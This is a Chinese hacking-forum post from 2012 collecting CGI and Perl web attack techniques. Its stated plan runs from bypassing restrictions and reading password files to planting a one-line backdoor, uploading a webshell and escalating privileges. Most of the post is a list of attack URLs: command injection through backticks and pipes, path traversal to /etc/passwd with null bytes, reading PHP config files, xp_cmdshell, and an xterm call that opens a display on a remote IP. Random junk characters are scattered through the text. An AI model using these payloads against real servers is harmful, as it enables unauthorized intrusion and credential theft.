找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2422|回复: 0
打印 上一主题 下一主题

CGI资料整理

[复制链接]
跳转到指定楼层
楼主
发表于 2012-9-13 16:56:16 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
总体思路,跳过限制,查看敏感文件和密码相关文件。写入一句话cgi,进后台试传webshell(后台如果加验证或者MD5过的时候,可以试着  
9 U9 P& ^1 A" [, Lcookies欺骗,本地提交),寻找可执行的目录和相关函数,拿shell…………》提权  0 s7 Z6 ?( J0 |7 x* g( U7 K
感谢EMM和ps的睿智和他们高超的脚本技术,还有以前老红4的脚本群英和国外的那些牛淫们  
$ X* P( b+ G6 \4 }3 t6 l4 c5 D注“  
& G- X6 {  w( m. }2 Eperl脚本的漏洞大多出在open()、system()或者 ’’调用中。前者允许读写和执行,而后两个允许执行。  
+ w  c, Y. B( @* r以POST的方法发送表格的话,就不能蒙混过关(%00将不会被解析),所以我们大部分用GET  
7 }& @+ E4 M8 p: K' a0 r7 p# z- n
" C5 S4 o) b$ s# n$ Q3 X- ]1 Qhttp://target.com/cgi-bin/home/news/sub.pl?12 随意构造  5 ~9 n2 ^+ E6 |9 ?
http://target.com/cgi-bin/home/news/sub.pl?& 换个字符,也许可以执行呢  % [, f, ~  O4 D$ {
http://target.com/cgi-bin/home/news/sub.pl?`ls` 单引号  
; D: ?; U8 c9 d9 a: W, {* c1 x, Lhttp://target.com/cgi-bin/home/news/sub.pl?`id`  : @. R$ m- D' S$ R8 M, J, t
http://target.com/cgi-bin/home/news/sub.pl?`IFS=!;uname!-a`  
; X5 h5 z# ^/ R! S/ N  jhttp://target.com/cgi-bin/home/news/sub.pl?`cat<’/home1/siteadm/cgi-bin/home/news/sub.pl’` 非常好的思路,把代码cat回来显示  & K! n  W& d$ V4 ?" G! K- R3 L  G
: T+ B1 I3 o0 |1 d3 A
http://target.com/test.pl;ls|  ! n4 F; m! n+ v
http://target.com/index.cgi?page=|ls+-la+/%0aid%0awhich+xterm|  
" a' r* t3 ~1 b9 a, G) ~9 khttp://target.com/index.cgi?page=|xterm+-isplay+10.0.1.21:0.0+%26|  9 {4 ?% y- ?1 t' B/ G2 Q
http://target.com/test.pl?’id’ 类似’’内的操作和命令执行自己构造  3 B3 ?0 \$ B$ Y. v6 ]5 h
比如:cat<’/home1/siteadm/cgi-bin/home/news/test.pl’` 把pl代码显示出来。  9 H" {- z& ~3 p3 ]& H; Y
http://target.com/index.cgi?page=;dir+c:\|&cid=03417 类似asp的Sql injection  1 F2 w6 p: K4 i. ]# f0 p

, X( F! P' z. S3 v& Lhttp://target.com/test.pl?&........ /../../etc/passwd  
" |# A, W+ B% }
: F/ e$ F; C/ C  q1 B+ H% ^2 ]http://www.target.org/cgi-bin/cl ... info.pl?user=./test 前面加./  
9 _" d6 ?5 K- T$ thttp://www.target.org/cgi-bin/cl ... nfo.pl?user=test%00 注意后面的 %00 别弄丢了  
# B1 f* i3 i! d5 j' a3 qhttp://www.target.org/cgi-bin/cl ... ../../etc/passwd%00  4 g$ r6 x6 u, a& L9 f
  M; e8 v! J' a! q7 j
http://www.target.org/show.php?f ... /include/config.php 查看php代码  
+ @, s1 a- ?2 X4 w7 T: N2 fhttp://www.target.org/show.php?f ... ng/admin/global.php  
, x0 p* o, Z, h2 l8 W, m& Q" ^, y8 Z. j. g
emm和ps的一句话1 Z& S* O1 e  F" I7 Y- }- V- H
3 }; c: C! G9 X2 |' ~' x5 Q# |
http://www.target.org/cgi-bin/cl ... /../../../bin/ls%20  
- p- T7 G+ I! ^: f; H8 V
/ x7 `5 U6 E& y8 B3 \) Q9 D>bbb%20|  
; P1 y/ n$ h* R1 \' c$ K) J' W- O& A/ `' x# p
http://www.target.org/cgi-bin/club/scripts\’less showpost.pl\’ 并且寻找(用\’/\’)\’Select\’ 字符串  8 J  R4 G' J- B. P9 q
8 Q+ `6 Z* H, \4 u+ [9 E9 h2 g4 t
http://www.target.org/cgi-bin/cl ... bin/sh.elf?ls+/http 这里的是elf是CCS中文linux操作系统特征  3 b2 C  u2 A& l" B0 d2 J+ v& p7 ?
http://www.target.org/csapi/..%c0%afhttp/china.sh”+.elf?”+&+ls+/bin  8 i2 S) L1 g" X
/ k/ B, S5 L2 z& S" v9 s
相关html为后缀的脚本技术,继续深挖中,但是不可质疑的是提交数据查询语句也是一种完美的方法  3 ~$ R& e, A6 _+ @* i4 _" K5 }1 P
http://target.com/index.html#cmd.exe  
: j4 n. H0 i# g1 ^http://target.com/index.html?dummyparam=xp_cmdshell  $ A2 X6 J' I0 v7 ?" i- c6 {# F6 t
lynx http://target.com/cgi-bin/htmlscript?../../../../etc/passwd  
& p# e+ {1 i4 l. B" X" Y+ D
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表